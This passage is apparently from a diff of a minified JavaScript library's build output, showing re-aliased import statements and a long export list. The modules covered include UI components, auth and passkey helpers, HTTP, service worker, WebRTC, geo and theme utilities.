as isShareSupported, Gs as isSpeechRecognitionSupported, q as isStandalone, Ki as isString, sa as isTrustedCredentialTarget, Rc as isValidLatitude, zc as isValidLongitude, Bs as isVideoRecordingSupported, Ps as isVoiceChainIdle, Ai as kebabCase, Kr as lastAssistantId, Xs as lastWriteWins, Ra as lazyWithRetry, Do as listQueryKey, Dn as matrixToPath, Is as measureNoiseFloor, Ji as memoizeOne, Rs as monitorVoiceActivity, Fs as monitorVoiceChain, rt as moveItem, Br as normalizeBarcode, Bc as normalizeLongitude, xt as nprogress, pl as oklchToHex, Bi as omit, Yi as once, Oo as oneQueryKey, li as operatorsFor, Ea as parseResponse, Wc as pathLengthKm, nn as percentOf, io as permissionsFromToken, Co as persistQueryClientOffline, Vi as pick, Dr as pickAudioMimeType, Vs as pickVideoMimeType, ws as playAudio, ji as pluralize, el as projectMercator, xe as pushToTalkKeyLabel, $i as randomId, Ii as range, Oc as readAvailableOutgoingKbps, ql as readDeviceProfile, kc as readQualityLimitation, Ac as readRelayed, jc as readRoundTripMs, sl as readThemeToken, ml as readableForeground, hr as receiptLabel, Ko as redirect, bs as registerPeriodicSync, Xe as registerServiceWorker, hl as relativeLuminance, _n as relativeTime, bo as removeById, tt as requestPersistentStorage, Nc as resolveDegradation, gr as resolveReceiptState, ma as retry, gl as rgbToHex, qr as roleLabel, Pc as scaleForRoom, Wl as scaleSteps, Gl as sequentialScale, xr as setAudioOutput, r as setDevBuild, Ec as setSenderBitrate, wc as setTunedLocalDescription, na as share, ra as shareOrDownloadBlob, fo as shouldRetryQuery, Ze as skipWaiting, Zi as sleep, Mi as slugify, Ts as stopAudio, Ci as storage, Ls as suggestGateThreshold, Jr as tailSignature, vl as themeContrast, Cl as themeInitScript, xl as themePresets, Xi as throttle, aa as toCsv, Ht as toOptions, Gc as toRadians, Ni as truncate, Tc as tuneOpus, Yr as turnTime, Li as uniqueBy, ic as unmask, tl as unprojectMercator, Qe as unregisterAllServiceWorkers, Ma as uploadFingerprint, Da as uploadWithProgress, xo as upsertById, cs as urlBase64ToUint8Array, eo as useAccessControl, De as useAnnounce, ce as useAsync, Es as useAudio, js as useAudioBus, kr as useAudioRecorder, Hr as useBarcodeScanner, he as useBeforeInstallPrompt, o as useBreakpoint, to as useCan, Ke as useClickOutside, ee as useClientFilter, pe as useClipboard, ze as useCountdown, Re as useCounter, ko as useCreate, vo as useCursorQuery, Eo as useDataProvider, Q as useDebounce, te as useDeepMemo, Ao as useDelete, Ta as useDescribeApiError, Ie as useDisclosure, Ve as useDocumentTitle, ue as useDocumentVisibility, re as useDraftFilters, Zs as useErrorHandler, ae as useEventListener, os as useEventStream, He as useFavicon, Fl as useFeatureFlag, hc as useFieldArray, Il as useFlagValue, m as useFocusTrap, gc as useForm, _c as useFormContext, vc as useFormState, ve as useFullscreen, Ce as useGeolocation, Pe as useHover, Sa as useI18n, ge as useIdle, J as useInstallPrompt, de as useIntersectionObserver, Ae as useInterval, qe as useIsFirstRender, me as useKeyboardShortcut, ne as useLatestRef, Mc as useLinkStats, jo as useList, Le as useListState, oe as useLocalStorage, qo as useLocation, Fe as useLongPress, Ye as useLongPressHandlers, Ue as useMap, Jo as useMatch, st as useMediaDevices, ot as useMediaPermission, ie as useMediaQuery, jr as useMicrophone, vt as useModals, Yo as useNavigate, yn as useNotificationInbox, oo as useOAuthCallback, Je as useObjectUrl, yo as useOfflineMutation, lt as useOfflineSync, Mo as useOne, le as useOnline, Ca as useOptionalI18n, _o as usePaginatedQuery, $ as usePagination, Xo as useParams, Ya as usePasskeyCapabilities, Xa as usePasskeyRegistration, Za as usePasskeySignIn, Na as usePoll, il as usePositionTracker, ke as usePrevious, fs as usePushSubscription, Se as usePushToTalk, Ge as useQueue, fe as useResizeObserver, Zo as useRouteError, Ws as useScreenCapture, we as useScrollLock, at as useScrollOverflow, Qo as useSearchParams, $e as useServiceWorkerUpdate, We as useSet, Os as useSfxPool, it as useSortable, Ks as useSpeechRecognition, Oe as useStableCallback, nt as useStorageEstimate, ut as useSyncStatus, Dl as useTelemetry, ns as useTheme, Me as useThrottle, je as useTimeout, pn as useToast, se as useToggle, Vr as useTorch, wa as useTranslate, Be as useTypewriter, No as useUpdate, fc as useViaCEP, Hs as useVideoRecorder, yc as useWatch, Cc as useWebSocket, Ne as useWindowSize, tc as useZodForm, ac as validateCNPJ, oc as validateCPF, $s as validateForm, Xr as visibleTurns, Ut as withAllOption, Wt as withEmptyOption, Qi as withTimeout, ea as writeXlsx, ec as zodResolver };
213
+ import { safeAttachmentUrl as Qr, safeImageUrl as $r, safeLinkUrl as ei } from "./utils/safe-url.js";
214
+ import { Markdown as ti } from "./components/Markdown/Markdown.js";
215
+ import { AIChatTurn as ni } from "./components/AIChat/AIChatTurn.js";
216
+ import { AIChat as ri } from "./components/AIChat/AIChat.js";
217
+ import { Transfer as ii } from "./components/Transfer/Transfer.js";
218
+ import { Masonry as ai } from "./components/Masonry/Masonry.js";
219
+ import { Tour as oi } from "./components/Tour/Tour.js";
220
+ import { buildBarListRows as si } from "./components/BarList/bar-list-model.js";
221
+ import { BarList as ci } from "./components/BarList/BarList.js";
222
+ import { describeFilter as li, filtersFromSearchParams as ui, filtersToSearchParams as di, operatorsFor as fi } from "./components/FilterBar/filter-model.js";
223
+ import { FilterBar as pi } from "./components/FilterBar/FilterBar.js";
224
+ import { formatCPF as mi, formatCurrency as hi, formatDate as gi, formatDateForInput as _i, formatDateTime as vi, formatDateTimeForInput as yi, formatPercent as bi, formatPhone as xi } from "./utils/format.js";
225
+ import { applyFilters as Si } from "./components/FilterBar/filter-apply.js";
226
+ import { filtersToQueryParams as Ci } from "./components/FilterBar/filter-query.js";
227
+ import { FilterPanel as wi } from "./components/FilterPanel/FilterPanel.js";
228
+ import { createJsonStorage as Ti, storage as Ei } from "./utils/storage.js";
229
+ import { compressToString as Di, compressedStorage as Oi, compressedStorageCodec as ki, decompressFromString as Ai } from "./utils/compressed-storage.js";
230
+ import { camelCase as ji, capitalize as Mi, kebabCase as Ni, pluralize as Pi, slugify as Fi, truncate as Ii } from "./utils/strings.js";
231
+ import { chunk as Li, groupBy as Ri, range as zi, uniqueBy as Bi } from "./utils/arrays.js";
232
+ import { deepMerge as Vi, isEmpty as Hi, omit as Ui, pick as Wi } from "./utils/objects.js";
233
+ import { assertNever as Gi, isDefined as Ki, isNumber as qi, isPlainObject as Ji, isString as Yi } from "./utils/guards.js";
234
+ import { debounce as Xi, memoizeOne as Zi, once as Qi, throttle as $i } from "./utils/functions.js";
235
+ import { sleep as ea, withTimeout as ta } from "./utils/promises.js";
236
+ import { randomId as na } from "./utils/ids.js";
237
+ import { writeXlsx as ra } from "./utils/xlsx.js";
238
+ import { isShareSupported as ia, share as aa } from "./share/share.js";
239
+ import { shareOrDownloadBlob as oa } from "./share/share-or-download.js";
240
+ import { downloadCsv as sa, toCsv as ca } from "./utils/csv.js";
241
+ import { buildApiUrl as la } from "./http/build-url.js";
242
+ import { isTrustedCredentialTarget as ua } from "./http/credential-scope.js";
243
+ import { DEFAULT_CSRF_COOKIE_NAME as da, DEFAULT_CSRF_HEADER_NAME as fa, csrfHeaders as pa } from "./http/csrf.js";
244
+ import { SessionSupersededError as ma, TempestApiError as ha, isApiError as ga, isRetriableStatus as _a } from "./http/errors.js";
245
+ import { retry as va } from "./http/retry.js";
246
+ import { createApiClient as ya } from "./http/api-client.js";
247
+ import { API_ERROR_OFFLINE_KEY as ba, API_ERROR_VALIDATION_KEY as xa, DEFAULT_API_ERROR_STRINGS as Sa, describeApiError as Ca } from "./http/describe-api-error.js";
248
+ import { createI18n as wa } from "./i18n/create-i18n.js";
249
+ import { I18nProvider as Ta, useI18n as Ea, useOptionalI18n as Da, useTranslate as Oa } from "./i18n/I18nProvider.js";
250
+ import { useDescribeApiError as ka } from "./http/use-describe-api-error.js";
251
+ import { parseResponse as Aa } from "./http/parse-response.js";
252
+ import { uploadWithProgress as ja } from "./http/upload-with-progress.js";
253
+ import { generateIdempotencyKey as Ma } from "./http/idempotency.js";
254
+ import { DEFAULT_CHUNK_SIZE as Na, createLocalUploadStorage as Pa, createResumableUpload as Fa, uploadFingerprint as Ia } from "./http/resumable-upload.js";
255
+ import { usePoll as La } from "./http/use-poll.js";
256
+ import { createAuthStore as Ra } from "./auth/create-auth-store.js";
257
+ import { AuthGuard as za } from "./auth/AuthGuard.js";
258
+ import { decodeJWT as Ba, isJWTExpired as Va } from "./auth/jwt.js";
259
+ import { lazyWithRetry as Ha } from "./auth/lazy-with-retry.js";
260
+ import { createRefreshQueue as Ua } from "./auth/refresh-queue.js";
261
+ import { DEFAULT_PUB_KEY_CRED_PARAMS as Wa, PasskeyError as Ga, base64UrlToBytes as Ka, bytesToBase64Url as qa, classifyPasskeyError as Ja, createPasskeyClient as Ya, isConditionalMediationAvailable as Xa, isPasskeySupported as Za, isPlatformAuthenticatorAvailable as Qa } from "./auth/passkey.js";
262
+ import { usePasskeyCapabilities as $a, usePasskeyRegistration as eo, usePasskeySignIn as to } from "./auth/use-passkey.js";
263
+ import { createTempestAuth as no } from "./auth/create-tempest-auth.js";
264
+ import { AccessControlProvider as ro, useAccessControl as io } from "./access/access-control-context.js";
265
+ import { useCan as ao } from "./access/use-can.js";
266
+ import { Can as oo } from "./access/Can.js";
267
+ import { createRoleAccessControl as so } from "./access/create-role-access-control.js";
268
+ import { permissionsFromToken as co } from "./access/permissions-from-token.js";
269
+ import { GoogleSignIn as lo } from "./oauth/GoogleSignIn.js";
270
+ import { useOAuthCallback as uo } from "./oauth/use-oauth-callback.js";
271
+ import { OAuthCallbackError as fo, exchangeOAuthCallback as po, readOAuthCallbackParams as mo } from "./oauth/callback.js";
272
+ import { CACHE_TIME as ho, REFETCH_TIME as go, STALE_TIME as _o } from "./query/constants.js";
273
+ import { createQueryKeys as vo } from "./query/create-query-keys.js";
274
+ import { shouldRetryQuery as yo } from "./query/retry-policy.js";
275
+ import { QueryProvider as bo } from "./query/QueryProvider.js";
276
+ import { emptyOffsetPage as xo, isCursorPage as So, isOffsetPage as Co } from "./query/pagination.js";
277
+ import { usePaginatedQuery as wo } from "./query/use-paginated-query.js";
278
+ import { useCursorQuery as To } from "./query/use-cursor-query.js";
279
+ import { useOfflineMutation as Eo } from "./query/use-offline-mutation.js";
280
+ import { removeById as Do, upsertById as Oo } from "./query/optimistic.js";
281
+ import { createOfflineStore as ko } from "./offline/create-offline-store.js";
282
+ import { persistQueryClientOffline as Ao } from "./query/offline-persistence.js";
283
+ import { createDataProvider as jo, encodeIdSegment as Mo } from "./data/create-data-provider.js";
284
+ import { TempestDataProvider as No, useDataProvider as Po } from "./data/data-provider-context.js";
285
+ import { listQueryKey as Fo, oneQueryKey as Io, useCreate as Lo, useDelete as Ro, useList as zo, useOne as Bo, useUpdate as Vo } from "./data/use-resource.js";
286
+ import { RouteGuard as Ho } from "./router/RouteGuard.js";
287
+ import { AppRouter as Uo, defineRoutes as Wo } from "./router/AppRouter.js";
288
+ import { BrowserRouter as Go, HashRouter as Ko, Link as qo, MemoryRouter as Jo, NavLink as Yo, Navigate as Xo, Outlet as Zo, Route as Qo, Routes as $o, redirect as es, useLocation as ts, useMatch as ns, useNavigate as rs, useParams as is, useRouteError as as, useSearchParams as os } from "./router/index.js";
289
+ import { createStore as ss } from "./store/create-store.js";
290
+ import { createSelectors as cs } from "./store/create-selectors.js";
291
+ import { ThemeProvider as ls, useTheme as us } from "./theme/ThemeProvider.js";
292
+ import { ErrorBoundary as ds } from "./error-boundary/ErrorBoundary.js";
293
+ import { AppProviders as fs } from "./app/AppProviders.js";
294
+ import { createEventStream as ps } from "./sse/create-event-stream.js";
295
+ import { useEventStream as ms } from "./sse/use-event-stream.js";
296
+ import { isPushSupported as hs, urlBase64ToUint8Array as gs } from "./push/utils.js";
297
+ import { WebPushClient as _s, WebPushPermissionDeniedError as vs, WebPushUnsubscribeError as ys, WebPushUnsupportedError as bs } from "./push/web-push-client.js";
298
+ import { usePushSubscription as xs } from "./push/use-push-subscription.js";
299
+ import { installNotificationClickHandler as Ss, installPushHandler as Cs, installSkipWaitingListener as ws } from "./sw/create-push-handler.js";
300
+ import { DEFAULT_CREDENTIAL_HEADERS as Ts } from "./sw/credential-headers.js";
301
+ import { createPartialResponse as Es, installPrecache as Ds, installRuntimeCache as Os } from "./sw/cache.js";
302
+ import { BACKGROUND_SYNC_CREDENTIALS_MESSAGE as ks, clearBackgroundSyncQueue as As, installBackgroundSync as js, provideBackgroundSyncCredentials as Ms } from "./sw/background-sync.js";
303
+ import { registerPeriodicSync as Ns } from "./sw/periodic-sync.js";
304
+ import { clearCaches as Ps, inspectCaches as Fs } from "./sw/cache-inspect.js";
305
+ import { clearSessionData as Is } from "./sw/session-data.js";
306
+ import { createAudioPlayer as Ls, playAudio as Rs, stopAudio as zs } from "./audio/audio-player.js";
307
+ import { useAudio as Bs } from "./audio/use-audio.js";
308
+ import { createSfxPool as Vs } from "./audio/sfx-pool.js";
309
+ import { useSfxPool as Hs } from "./audio/use-sfx-pool.js";
310
+ import { DEFAULT_MAX_GAIN as Us, createAudioBus as Ws } from "./audio/audio-bus.js";
311
+ import { useAudioBus as Gs } from "./audio/use-audio-bus.js";
312
+ import { DEFAULT_VOICE_CHAIN as Ks, createVoiceChain as qs, isVoiceChainIdle as Js, monitorVoiceChain as Ys } from "./audio/voice-chain.js";
313
+ import { measureNoiseFloor as Xs, suggestGateThreshold as Zs } from "./audio/noise-floor.js";
314
+ import { monitorVoiceActivity as Qs } from "./audio/voice-activity.js";
315
+ import { createVideoRecorder as $s, isVideoRecordingSupported as ec, pickVideoMimeType as tc } from "./capture/video-recorder.js";
316
+ import { useVideoRecorder as nc } from "./capture/use-video-recorder.js";
317
+ import { isScreenCaptureSupported as rc, useScreenCapture as ic } from "./capture/use-screen-capture.js";
318
+ import { isSpeechRecognitionSupported as ac, useSpeechRecognition as oc } from "./capture/use-speech-recognition.js";
319
+ import { createOfflineDatabase as sc } from "./offline/create-offline-database.js";
320
+ import { createOfflineSync as cc } from "./offline/create-offline-sync.js";
321
+ import { higherVersionWins as lc, lastWriteWins as uc } from "./offline/conflict.js";
322
+ import { useErrorHandler as dc } from "./error-boundary/use-error-handler.js";
323
+ import { FormField as fc } from "./forms/FormField.js";
324
+ import { validateForm as pc } from "./forms/validate-form.js";
325
+ import { zodResolver as mc } from "./forms/zod-resolver.js";
326
+ import { useZodForm as hc } from "./forms/use-zod-form.js";
327
+ import { formatCEP as gc, formatCNPJ as _c, unmask as vc, validateCNPJ as yc, validateCPF as bc } from "./forms/br-validators.js";
328
+ import { CEPInput as xc, CNPJInput as Sc, CPFInput as Cc, MoneyInput as wc, PhoneInput as Tc } from "./forms/masked-inputs.js";
329
+ import { useViaCEP as Ec } from "./forms/use-viacep.js";
330
+ import { Controller as Dc, FormProvider as Oc, useFieldArray as kc, useForm as Ac, useFormContext as jc, useFormState as Mc, useWatch as Nc } from "./forms/index.js";
331
+ import { HEARTBEAT_CLOSE_CODE as Pc, isRejectionCloseCode as Fc } from "./ws/resilience.js";
332
+ import { createWebSocket as Ic } from "./ws/create-web-socket.js";
333
+ import { useWebSocket as Lc } from "./ws/use-web-socket.js";
334
+ import { setTunedLocalDescription as Rc, tuneOpus as zc } from "./webrtc/opus-sdp.js";
335
+ import { setSenderBitrate as Bc } from "./webrtc/sender-bitrate.js";
336
+ import { createLinkStatsSampler as Vc, readAvailableOutgoingKbps as Hc, readQualityLimitation as Uc, readRelayed as Wc, readRoundTripMs as Gc } from "./webrtc/link-stats.js";
337
+ import { useLinkStats as Kc } from "./webrtc/use-link-stats.js";
338
+ import { resolveDegradation as qc, scaleForRoom as Jc } from "./webrtc/mesh-quality.js";
339
+ import { createPeerMesh as Yc } from "./webrtc/peer-mesh.js";
340
+ import { clampLatitude as Xc, isCoordinate as Zc, isValidLatitude as Qc, isValidLongitude as $c, normalizeLongitude as el } from "./geo/types.js";
341
+ import { EARTH_RADIUS_KM as tl, bearingDeg as nl, haversineKm as rl, pathLengthKm as il, toRadians as al } from "./geo/distance.js";
342
+ import { DEFAULT_CAR_SPEED_KMH as ol, DEFAULT_CIRCUITY_FACTOR as sl, DEFAULT_MODE_DURATION_FACTORS as cl, estimateTravel as ll } from "./geo/estimate.js";
343
+ import { boundingBox as ul, boundsCenter as dl, expandBounds as fl } from "./geo/bounds.js";
344
+ import { fitProjection as pl, projectMercator as ml, unprojectMercator as hl } from "./geo/projection.js";
345
+ import { createOSRMBackend as gl } from "./geo/routing.js";
346
+ import { createPositionTracker as _l } from "./geo/create-position-tracker.js";
347
+ import { usePositionTracker as vl } from "./geo/use-position-tracker.js";
348
+ import { TrajectoryMap as yl } from "./geo/TrajectoryMap.js";
349
+ import { applyTheme as bl, readThemeToken as xl } from "./theme/apply-theme.js";
350
+ import { contrastRatio as Sl, createColorScale as Cl, hexToOklch as wl, hexToRgb as Tl, hexToRgbaString as El, oklchToHex as Dl, readableForeground as Ol, relativeLuminance as kl, rgbToHex as Al } from "./theme/color.js";
351
+ import { createTheme as jl, themeContrast as Ml } from "./theme/create-theme.js";
352
+ import { createInverseSurface as Nl } from "./theme/inverse-surface.js";
353
+ import { getThemePreset as Pl, themePresets as Fl } from "./theme/theme-presets.js";
354
+ import { getInitialTheme as Il, themeInitScript as Ll } from "./theme/initial-theme.js";
355
+ import { consoleSink as Rl, createLogger as zl } from "./logger/logger.js";
356
+ import { TelemetryProvider as Bl, useTelemetry as Vl } from "./telemetry/TelemetryProvider.js";
357
+ import { consoleTelemetryAdapter as Hl } from "./telemetry/console-adapter.js";
358
+ import { createSentryTelemetryAdapter as Ul } from "./telemetry/sentry-adapter.js";
359
+ import { createPostHogTelemetryAdapter as Wl } from "./telemetry/posthog-adapter.js";
360
+ import { describeAppError as Gl } from "./telemetry/describe-app-error.js";
361
+ import { createAppErrorReporter as Kl } from "./telemetry/app-error-reporter.js";
362
+ import { createAppErrorTelemetryAdapter as ql } from "./telemetry/app-error-adapter.js";
363
+ import { FeatureFlagsProvider as Jl, useFeatureFlag as Yl, useFlagValue as Xl } from "./feature-flags/FeatureFlagsProvider.js";
364
+ import { createInMemoryFlags as Zl } from "./feature-flags/in-memory-adapter.js";
365
+ import { createGrowthBookFeatureFlagsAdapter as Ql } from "./feature-flags/growthbook-adapter.js";
366
+ import { createLaunchDarklyFeatureFlagsAdapter as $l } from "./feature-flags/launchdarkly-adapter.js";
367
+ import { DIVERGING_STEP_COUNT as eu, ORDINAL_START_STEP as tu, SEQUENTIAL_STEP_COUNT as nu, divergingScale as ru, scaleSteps as iu, sequentialScale as au } from "./charts/scales.js";
368
+ import { cachedResponseBytes as ou } from "./perf/cache-size.js";
369
+ import { readDeviceProfile as su } from "./perf/device.js";
370
+ import { formatDurationMs as cu } from "./perf/format.js";
371
+ import { createInferenceProfiler as lu } from "./perf/profiler.js";
372
+ export { Qt as ABSENT_TEXT, ri as AIChat, Zr as AIChatComposer, ni as AIChatTurn, Fr as ALL_BARCODE_FORMATS, Vt as ALL_OPTION_VALUE, ba as API_ERROR_OFFLINE_KEY, xa as API_ERROR_VALIDATION_KEY, wr as AUDIO_MIME_CANDIDATES, ro as AccessControlProvider, t as Accordion, n as Alert, i as AppBar, fs as AppProviders, Uo as AppRouter, s as AppShell, c as AspectRatio, Sr as AudioPlayer, Pr as AudioRecorder, za as AuthGuard, l as Avatar, u as AvatarGroup, ks as BACKGROUND_SYNC_CREDENTIALS_MESSAGE, a as BREAKPOINTS, d as Badge, f as Banner, ci as BarList, Ur as BarcodeScanner, p as BottomNavigation, h as BottomSheet, g as Breadcrumbs, Go as BrowserRouter, _ as Button, v as ButtonSlot, ho as CACHE_TIME, xc as CEPInput, Sc as CNPJInput, Cc as CPFInput, $n as Calendar, oo as Can, y as Card, ar as Carousel, b as Center, yr as Chat, _r as ChatBubble, vr as ChatComposer, x as Checkbox, S as ChipInput, In as ClickOutside, An as CodeBlock, qn as Collapsible, w as Combobox, Xn as Command, Ln as ConditionalWrapper, E as ConfirmDialog, B as Container, Jn as ContextMenu, Dc as Controller, kn as CopyButton, Sa as DEFAULT_API_ERROR_STRINGS, Ir as DEFAULT_BARCODE_FORMATS, ol as DEFAULT_CAR_SPEED_KMH, Na as DEFAULT_CHUNK_SIZE, sl as DEFAULT_CIRCUITY_FACTOR, Ts as DEFAULT_CREDENTIAL_HEADERS, da as DEFAULT_CSRF_COOKIE_NAME, fa as DEFAULT_CSRF_HEADER_NAME, Us as DEFAULT_MAX_GAIN, cl as DEFAULT_MODE_DURATION_FACTORS, bn as DEFAULT_PLAYBACK_RATES, Wa as DEFAULT_PUB_KEY_CRED_PARAMS, ye as DEFAULT_PUSH_TO_TALK_KEY, Ks as DEFAULT_VOICE_CHAIN, eu as DIVERGING_STEP_COUNT, Vn as DataList, or as DataTable, O as DatePicker, nr as DateRangePicker, Hn as DescriptionList, k as Divider, A as Drawer, j as DropdownMenu, M as Dropzone, tl as EARTH_RADIUS_KM, N as EmptyState, ds as ErrorBoundary, P as ErrorState, zn as ErrorText, Jl as FeatureFlagsProvider, F as FileUpload, pi as FilterBar, wi as FilterPanel, cr as FloatingActionButton, Rn as For, I as Form, L as FormActions, fc as FormField, Oc as FormProvider, R as FormRow, z as FormSection, lo as GoogleSignIn, V as Grid, Pc as HEARTBEAT_CLOSE_CODE, Ko as HashRouter, Ft as Hide, Yn as HoverCard, Ta as I18nProvider, Bn as Image, mn as ImageCropper, D as Input, X as InstallBanner, Z as InstallButton, mt as Kanban, gt as Kbd, Kn as Label, pr as Lightbox, qo as Link, sr as ListTile, ti as Markdown, ai as Masonry, Jo as MemoryRouter, ir as Menubar, T as Modal, _t as ModalsProvider, Mn as Money, wc as MoneyInput, tr as MultiSelect, bt as NProgressBar, Yo as NavLink, yt as Navbar, Xo as Navigate, rr as NavigationMenu, lr as NavigationRail, vn as NotificationCenter, fo as OAuthCallbackError, tu as ORDINAL_START_STEP, ct as OfflineIndicator, Zo as Outlet, be as PUSH_TO_TALK_KEYS, wt as Page, Tt as Pagination, Ga as PasskeyError, Et as PasswordInput, Tc as PhoneInput, Ot as PinInput, kt as Popover, C as Portal, At as Progress, Tn as QRCapacityError, On as QRCode, bo as QueryProvider, go as REFETCH_TIME, jt as Radio, Mt as RadioGroup, Nt as RangeSlider, Pt as RatingStars, dr as RefreshIndicator, jn as RelativeTime, Qn as Resizable, Fn as Reveal, Qo as Route, Ho as RouteGuard, $o as Routes, nu as SEQUENTIAL_STEP_COUNT, _o as STALE_TIME, Lt as SafeArea, gn as Scheduler, Zn as ScrollArea, Rt as SearchBar, St as Section, Ct as SectionHeader, zt as SegmentedControl, Bt as Select, ma as SessionSupersededError, It as Show, Kt as Sidebar, mr as SignaturePad, qt as Skeleton, er as Slider, Jt as Spacer, hn as Sparkline, Yt as Spinner, H as Stack, Xt as Stat, Zt as Stepper, rn as StepperInput, an as Switch, ft as SyncStatusBadge, sn as Table, cn as Tabs, on as Tag, Bl as TelemetryProvider, ha as TempestApiError, No as TempestDataProvider, ln as Textarea, ls as ThemeProvider, ur as TimePicker, un as Timeline, fn as ToastProvider, Un as Toggle, Wn as ToggleGroup, Gn as ToggleGroupItem, dn as Tooltip, oi as Tour, yl as TrajectoryMap, ii as Transfer, Nn as TreeView, Pn as TruncateText, pt as UpdatePrompt, xn as VideoPlayer, Sn as VirtualList, wn as VirtualTable, dt as VisuallyHidden, _s as WebPushClient, vs as WebPushPermissionDeniedError, ys as WebPushUnsubscribeError, bs as WebPushUnsupportedError, fr as Wizard, Gt as activeNavKey, Wr as aiChatStrings, Te as announce, Si as applyFilters, ht as applyKanbanMove, bl as applyTheme, Gi as assertNever, Ka as base64UrlToBytes, nl as bearingDeg, Mr as blobToWav, ul as boundingBox, dl as boundsCenter, la as buildApiUrl, si as buildBarListRows, U as buildOpenInChromeIntent, qa as bytesToBase64Url, ou as cachedResponseBytes, ji as camelCase, Mi as capitalize, Li as chunk, $t as clamp, Xc as clampLatitude, Ja as classifyPasskeyError, Ee as clearAnnouncer, As as clearBackgroundSyncQueue, Ps as clearCaches, Is as clearSessionData, e as cn, Cn as compareValues, Di as compressToString, Oi as compressedStorage, ki as compressedStorageCodec, Rl as consoleSink, Hl as consoleTelemetryAdapter, Sl as contrastRatio, ya as createApiClient, Kl as createAppErrorReporter, ql as createAppErrorTelemetryAdapter, Ws as createAudioBus, Ls as createAudioPlayer, Tr as createAudioRecorder, Ra as createAuthStore, Lr as createBarcodeDetector, Cl as createColorScale, jo as createDataProvider, ps as createEventStream, Ql as createGrowthBookFeatureFlagsAdapter, wa as createI18n, Zl as createInMemoryFlags, lu as createInferenceProfiler, Nl as createInverseSurface, Ti as createJsonStorage, $l as createLaunchDarklyFeatureFlagsAdapter, Or as createLevelMeter, Vc as createLinkStatsSampler, Pa as createLocalUploadStorage, zl as createLogger, Cr as createMediaRecorder, gl as createOSRMBackend, sc as createOfflineDatabase, ko as createOfflineStore, cc as createOfflineSync, Es as createPartialResponse, Ya as createPasskeyClient, Yc as createPeerMesh, _l as createPositionTracker, Wl as createPostHogTelemetryAdapter, vo as createQueryKeys, Ua as createRefreshQueue, Fa as createResumableUpload, so as createRoleAccessControl, cs as createSelectors, Ul as createSentryTelemetryAdapter, Vs as createSfxPool, ss as createStore, no as createTempestAuth, jl as createTheme, $s as createVideoRecorder, qs as createVoiceChain, Ic as createWebSocket, pa as csrfHeaders, Xi as debounce, Ba as decodeJWT, Ai as decompressFromString, Vi as deepMerge, Y as defaultInstallHint, Wo as defineRoutes, Ca as describeApiError, Gl as describeAppError, li as describeFilter, ru as divergingScale, sa as downloadCsv, xo as emptyOffsetPage, Mo as encodeIdSegment, En as encodeQR, Nr as encodeWav, Dt as estimatePasswordStrength, et as estimateStorage, ll as estimateTravel, po as exchangeOAuthCallback, fl as expandBounds, ui as filtersFromSearchParams, Ci as filtersToQueryParams, di as filtersToSearchParams, pl as fitProjection, en as formatBytes, gc as formatCEP, _c as formatCNPJ, mi as formatCPF, tn as formatCompactNumber, hi as formatCurrency, gi as formatDate, _i as formatDateForInput, vi as formatDateTime, yi as formatDateTimeForInput, cu as formatDurationMs, bi as formatPercent, xi as formatPhone, Ma as generateIdempotencyKey, Il as getInitialTheme, Rr as getSupportedBarcodeFormats, Pl as getThemePreset, Ri as groupBy, rl as haversineKm, wl as hexToOklch, Tl as hexToRgb, El as hexToRgbaString, lc as higherVersionWins, Fs as inspectCaches, js as installBackgroundSync, Ss as installNotificationClickHandler, Ds as installPrecache, Cs as installPushHandler, Os as installRuntimeCache, ws as installSkipWaitingListener, W as isAndroid, G as isAndroidWithoutPromptApi, ga as isApiError, br as isAudioOutputSelectionSupported, Er as isAudioRecordingSupported, zr as isBarcodeDetectionSupported, Xa as isConditionalMediationAvailable, Zc as isCoordinate, So as isCursorPage, Ki as isDefined, Hi as isEmpty, _e as isFullscreenSupported, Gr as isGenerating, K as isIOS, Va as isJWTExpired, Ar as isMediaCaptureSupported, qi as isNumber, Co as isOffsetPage, Za as isPasskeySupported, Ji as isPlainObject, Qa as isPlatformAuthenticatorAvailable, hs as isPushSupported, Fc as isRejectionCloseCode, _a as isRetriableStatus, rc as isScreenCaptureSupported, ia as isShareSupported, ac as isSpeechRecognitionSupported, q as isStandalone, Yi as isString, ua as isTrustedCredentialTarget, Qc as isValidLatitude, $c as isValidLongitude, ec as isVideoRecordingSupported, Js as isVoiceChainIdle, Ni as kebabCase, Kr as lastAssistantId, uc as lastWriteWins, Ha as lazyWithRetry, Fo as listQueryKey, Dn as matrixToPath, Xs as measureNoiseFloor, Zi as memoizeOne, Qs as monitorVoiceActivity, Ys as monitorVoiceChain, rt as moveItem, Br as normalizeBarcode, el as normalizeLongitude, xt as nprogress, Dl as oklchToHex, Ui as omit, Qi as once, Io as oneQueryKey, fi as operatorsFor, Aa as parseResponse, il as pathLengthKm, nn as percentOf, co as permissionsFromToken, Ao as persistQueryClientOffline, Wi as pick, Dr as pickAudioMimeType, tc as pickVideoMimeType, Rs as playAudio, Pi as pluralize, ml as projectMercator, Ms as provideBackgroundSyncCredentials, xe as pushToTalkKeyLabel, na as randomId, zi as range, Hc as readAvailableOutgoingKbps, su as readDeviceProfile, mo as readOAuthCallbackParams, Uc as readQualityLimitation, Wc as readRelayed, Gc as readRoundTripMs, xl as readThemeToken, Ol as readableForeground, hr as receiptLabel, es as redirect, Ns as registerPeriodicSync, Xe as registerServiceWorker, kl as relativeLuminance, _n as relativeTime, Do as removeById, tt as requestPersistentStorage, qc as resolveDegradation, gr as resolveReceiptState, va as retry, Al as rgbToHex, qr as roleLabel, Qr as safeAttachmentUrl, $r as safeImageUrl, ei as safeLinkUrl, Jc as scaleForRoom, iu as scaleSteps, au as sequentialScale, xr as setAudioOutput, r as setDevBuild, Bc as setSenderBitrate, Rc as setTunedLocalDescription, aa as share, oa as shareOrDownloadBlob, yo as shouldRetryQuery, Ze as skipWaiting, ea as sleep, Fi as slugify, zs as stopAudio, Ei as storage, Zs as suggestGateThreshold, Jr as tailSignature, Ml as themeContrast, Ll as themeInitScript, Fl as themePresets, $i as throttle, ca as toCsv, Ht as toOptions, al as toRadians, Ii as truncate, zc as tuneOpus, Yr as turnTime, Bi as uniqueBy, vc as unmask, hl as unprojectMercator, Qe as unregisterAllServiceWorkers, Ia as uploadFingerprint, ja as uploadWithProgress, Oo as upsertById, gs as urlBase64ToUint8Array, io as useAccessControl, De as useAnnounce, ce as useAsync, Bs as useAudio, Gs as useAudioBus, kr as useAudioRecorder, Hr as useBarcodeScanner, he as useBeforeInstallPrompt, o as useBreakpoint, ao as useCan, Ke as useClickOutside, ee as useClientFilter, pe as useClipboard, ze as useCountdown, Re as useCounter, Lo as useCreate, To as useCursorQuery, Po as 